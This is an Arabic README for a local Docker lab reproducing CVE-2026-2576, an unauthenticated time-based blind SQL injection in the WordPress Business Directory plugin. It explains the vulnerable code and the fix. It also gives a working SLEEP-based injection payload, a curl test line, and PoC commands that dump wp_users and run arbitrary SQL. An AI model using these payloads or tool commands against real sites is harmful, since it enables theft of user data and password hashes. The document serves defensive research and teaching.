
CVE-2026-2576 — إثبات مفهوم SQLi لمكوّن دليل الأعمال (إعداد محلي). حقن SQL أعمى قائم على الوقت بدون مصادقة في مكوّن دليل الأعمال لووردبريس ≤ 6.4.21
حقن SQL أعمى قائم على الوقت بدون مصادقة
إضافة دليل الأعمال لووردبريس الإصدارات ≤ 6.4.21
| الحقل | التفاصيل |
|---|
| CVE | CVE-2026-2576 |
| الإضافة | إضافة دليل الأعمال – أدلة القوائم السهلة لووردبريس |
| البائع | strategy11team |
| المتأثر | جميع الإصدارات ≤ 6.4.21 |
| تم التصحيح | 6.4.22 |
| النوع | حقن SQL أعمى قائم على الوقت (CWE-89) |
| المصادقة | لا شيء — بدون مصادقة تماماً |
| CVSS | 7.5 (NVD) / 9.3 (Wordfence) |
| ناقل الهجوم | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| المُعين | Wordfence (CNA) — d8ec7d25-1574-416c-b5fd-3a71b1cc09d2 |
| تم الإفصاح | 18 فبراير 2026 |
إضافة دليل الأعمال هي إضافة ووردبريس مستخدمة على نطاق واسع لبناء
أدلة القوائم مع دعم الدفع. وجود خلل في مُنشئ استعلامات ORM
يسمح لمهاجم بدون مصادقة بتنفيذ حقن SQL أعمى قائم على الوقت عبر معامل الاستعلام payment،
مما يتيح استنتاج محتويات قاعدة البيانات.
تقع الثغرة في مُنشئ استعلامات ORM:
الملف: includes/db/class-db-query-set.php — filter_args()
private function filter_args( $args ) {
$filters = array();
foreach ( $args as $f => $v ) {
$op = '=';
// ...
if ( is_array( $v ) ) {
// ❌ ثغرة — بدون تنقية، ربط مباشر للسلاسل النصية
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
} else {
// ✓ آمن — يستخدم $wpdb->prepare()
$filters[] = $this->db->prepare( "$f $op %s", $v );
}
}
return $filters;
}
عندما تكون $v قيمة قياسية، يستخدم الكود بشكل صحيح $wpdb->prepare(). عندما
تكون $v مصفوفة، يقع في الفرع غير الآمن ويربط القيم
مباشرة في سلسلة SQL بدون أي تهريب.
يقرأ وحدة التحكم الخاصة بالدفع (includes/controllers/pages/class-checkout.php)
معامل الطلب payment ويمرره إلى ORM:
// class-checkout.php :: fetch_payment()
$payment_id = wpbdp_get_var( array( 'param' => 'payment' ), 'request' );
if ( ! $this->payment_id && ! empty( $payment_id ) ) {
$this->payment = WPBDP_Payment::objects()->get(
array( 'payment_key' => $payment_id ) // $payment_id يتم تمريره كقيمة
);
}
يقوم PHP تلقائياً بتحويل payment[]=value في سلسلة الاستعلام إلى
مصفوفة $_GET['payment'] = ['value']. هذا يجبر $v على أن تكون مصفوفة في
filter_args()، مما يصل إلى الفرع غير الآمن.
GET /?page_id=4&wpbdp_view=checkout&payment[]=<الحمولة>
PHP: $_REQUEST['payment'] = ['<الحمولة>'] ← مصفوفة بسبب تدوين []
|
v
class-checkout.php: fetch_payment()
|
v
WPBDP_Payment::objects()->get(['payment_key' => ['<الحمولة>']])
|
v
class-db-query-set.php: filter_args()
=> is_array($v) == TRUE → الفرع غير الآمن
=> "$f IN ('" . implode("','", $v) . "')"
|
v
MySQL: SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<الحمولة>')
payment[]=<مفتاح>') AND IF((<الشرط>),SLEEP(N),0)-- -
SQL المُولدة:
SELECT * FROM wp_wpbdp_payments
WHERE payment_key IN ('<مفتاح>') AND IF((<الشرط>),SLEEP(N),0)-- -')
-- - يعلّق على ') في النهاية. IF() ينشئ
أوراكل منطقي، عندما يكون الشرط TRUE، يتم تشغيل SLEEP(N) ويتأخر الاستجابة؛
عندما يكون FALSE تكون الاستجابة فورية.
ملاحظة: ينفذ ORM الاستعلام مرتين لكل طلب (مرة في get()، ومرة
في maybe_execute_query())، لذا فإن حمولة SLEEP(1) تنتج تأخيراً ملحوظاً
بحوالي ثانيتين، وSLEEP(2) تنتج حوالي 4 ثوانٍ.
يمكن لمهاجم بدون مصادقة استنتاج واستخراج محتويات قاعدة البيانات حرفاً بحرف عبر الاستجابات القائمة على الوقت، بما في ذلك:
wp_users)، أسماء المستخدمين، عناوين البريد الإلكتروني، تجزئات كلمات المروريضيف الإصلاح في الإصدار 6.4.22 تنقية إلى فرع المصفوفة في
filter_args():
// قبل (ثغرة)
$filters[] = "$f IN ('" . implode( "','", $v ) . "')";
// بعد (تم التصحيح)
$escaped = array_map( array( $this->db, 'esc_sql' ), $v );
$filters[] = "$f IN ('" . implode( "','", $escaped ) . "')";
تثبيت تبعيات Python:
pip3 install requests colorama --break-system-packages
cve-2026-2576-lab/
┣ 📂poc
┃ ┣ 📜patch_diff.py
┃ ┗ 📜poc.py
┣ 📜.gitignore
┣ 📜docker-compose.yml
┣ 📜init-db.sql
┣ 📜README.md
┣ 📜setup.sh
┗ 📜uploads.ini
cd cve-2026-2576-lab
docker compose up -d --build
docker compose up setup
انتظر حتى ترى:
╔══════════════════════════════════════════════════════════╗
║ اكتمل إعداد المختبر! ║
╠══════════════════════════════════════════════════════════╣
║ WordPress: http://localhost:8080 ║
║ لوحة WP: http://localhost:8080/wp-admin ║
║ phpMyAdmin: http://localhost:8082 ║
╠══════════════════════════════════════════════════════════╣
║ admin / admin123 ║
║ victim / victimpass123 ║
╠══════════════════════════════════════════════════════════╣
║ الإضافة: 6.4.21 (ثغرة) ║
║ معرف صفحة BD: 4 ║
╚══════════════════════════════════════════════════════════╝
docker exec lab_wordpress bash -c \
"grep 'Version:' /var/www/html/wp-content/plugins/business-directory-plugin/business-directory-plugin.php \
| head -1"
# المتوقع: * Version: 6.4.21
docker exec lab_mysql mysql -uwpuser -pwppass wordpress -e "SELECT id, payment_key, status FROM wp_wpbdp_payments;"
+----+--------------+---------+
| id | payment_key | status |
+----+--------------+---------+
| 1 | seed-pay-001 | pending |
+----+--------------+---------+
docker compose up -d pma
# الوصول عبر http://localhost:8082 (root / rootpass)
تُنفذ جميع الأوامر من الدليل الجذر للمختبر على جهاز Kali الخاص بك.
استخدم http://localhost:8080 (تعيين منفذ المضيف ← Docker).
يجب أن يتوافق payment_key مع صف موجود في wp_wpbdp_payments.
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --detect
المتوقع: INJECTION CONFIRMED ✓ (2.03s ≈ 1s × 2 ORM executions)

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --extract-db

python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --tables
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table lab_secrets
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --custom-sql "SELECT secret_value FROM lab_secrets WHERE label='flag'"
| العلم | الافتراضي | ملاحظات |
|---|---|---|
--sleep N | 1 | SLEEP(N) لكل أوراكل. TRUE ≈ N×2s. أقل = أسرع، أكثر ضوضاء |
--threads N | 4 | مواضع أحرف متوازية. 8 يعمل جيداً على الأجهزة الحديثة |
# أسرع استخراج
python3 poc/poc.py --target http://localhost:8080 --page-id 4 --payment-key seed-pay-001 --dump-table wp_users --sleep 1 --threads 8
# خط الأساس: يجب أن يعود في < 0.1s
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=seed-pay-001"
# اختبار النوم: يجب أن يعود في ~4s (SLEEP(2) × تنفيذان)
time curl -s -o /dev/null "http://localhost:8080/?page_id=4&wpbdp_view=checkout&payment[]=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"seed-pay-001') AND SLEEP(2)-- -\"))")"
لمقارنة الإصدار الثغرة بالإصدار المُصحح:
python3 poc/patch_diff.py
# للفرق الكامل
python3 poc/patch_diff.py --full
# تنزيل كلا الإصدارين
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.21/ /tmp/v6421
svn export https://plugins.svn.wordpress.org/business-directory-plugin/tags/6.4.22/ /tmp/v6422
# مقارنة الملف الثغرة
diff -u /tmp/v6421/includes/db/class-db-query-set.php /tmp/v6422/includes/db/class-db-query-set.php
سيُظهر الفرق إضافة esc_sql() إلى فرع المصفوفة في filter_args().
# إيقاف المختبر (يحافظ على البيانات)
docker compose stop
# إعادة التشغيل
docker compose start
# إزالة كاملة — يدمر جميع وحدات التخزين والبيانات
docker compose down -v
# إعادة تشغيل الإعداد من الصفر
docker compose down -v && docker compose up setup
# الدخول إلى حاوية ووردبريس
docker exec -it lab_wordpress bash
# عرض سجل أخطاء PHP في ووردبريس
docker exec lab_wordpress tail -f /var/www/html/wp-content/debug.log
# مراقبة سجل استعلامات MySQL في الوقت الفعلي
docker exec lab_mysql mysql -uroot -prootpass -e "SET GLOBAL general_log=1; SET GLOBAL general_log_file='/tmp/mysql.log';"
docker exec lab_mysql tail -f /tmp/mysql.log
$wpdb->prepare() في ووردبريس — https://developer.wordpress.org/reference/classes/wpdb/prepare/هذا المستودع مخصص لأغراض البحث الأمني المصرح به والتعليم فقط. تم إجراء جميع الاختبارات ضد بيئة مختبر محلية معزولة. لا تقم أبداً بتشغيل هذه الأداة ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) والقوانين المماثلة في الولايات القضائية الأخرى.
لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه المواد. اتبع دائماً ممارسات الإفصاح المسؤولة — إذا اكتشفت نتائج جديدة مبنية على هذا البحث، فقم بالتنسيق مع البائع قبل النشر.
تم البحث والتطوير في مختبر Docker معزول على Kali Linux.